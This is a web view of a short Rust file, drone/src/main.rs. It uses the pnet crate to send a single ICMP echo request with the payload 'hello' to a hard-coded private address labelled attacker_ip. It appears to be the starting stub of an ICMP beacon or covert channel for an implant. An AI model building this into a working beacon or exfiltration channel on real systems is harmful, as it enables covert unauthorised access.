aboutsummaryrefslogtreecommitdiff
path: root/drone/src/main.rs
blob: 600a5f7d1fe53f05ecebf0882fc5275a02f9010b (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
use pnet::packet::icmp::{IcmpPacket, IcmpTypes, checksum};
use pnet::packet::icmp::echo_request::MutableEchoRequestPacket;
use pnet::packet::{Packet};
use pnet::transport::{transport_channel, TransportChannelType, TransportProtocol};
use pnet::packet::ip::IpNextHeaderProtocols;
use std::net::IpAddr;

fn main() {
    let attacker_ip: IpAddr = "192.168.1.86".parse().unwrap();

    let protocol = TransportChannelType::Layer4(TransportProtocol::Ipv4(IpNextHeaderProtocols::Icmp));
    let (mut tx, _) = transport_channel(1024, protocol).expect("Failed to open channel");

    let mut buffer = [0u8; 64];
    let mut packet = MutableEchoRequestPacket::new(&mut buffer).unwrap();

    packet.set_icmp_type(IcmpTypes::EchoRequest);
    packet.set_identifier(1234);
    packet.set_sequence_number(1);

    let payload = b"hello";
    packet.set_payload(payload);

    let icmp_packet = IcmpPacket::new(packet.packet()).unwrap();
    let chksum = checksum(&icmp_packet);
    packet.set_checksum(chksum);

    match tx.send_to(packet, attacker_ip) {
        Ok(_) => println!("Packet sent"),
        Err(e) => eprintln!("Send failed: {:?}", e),
    }
}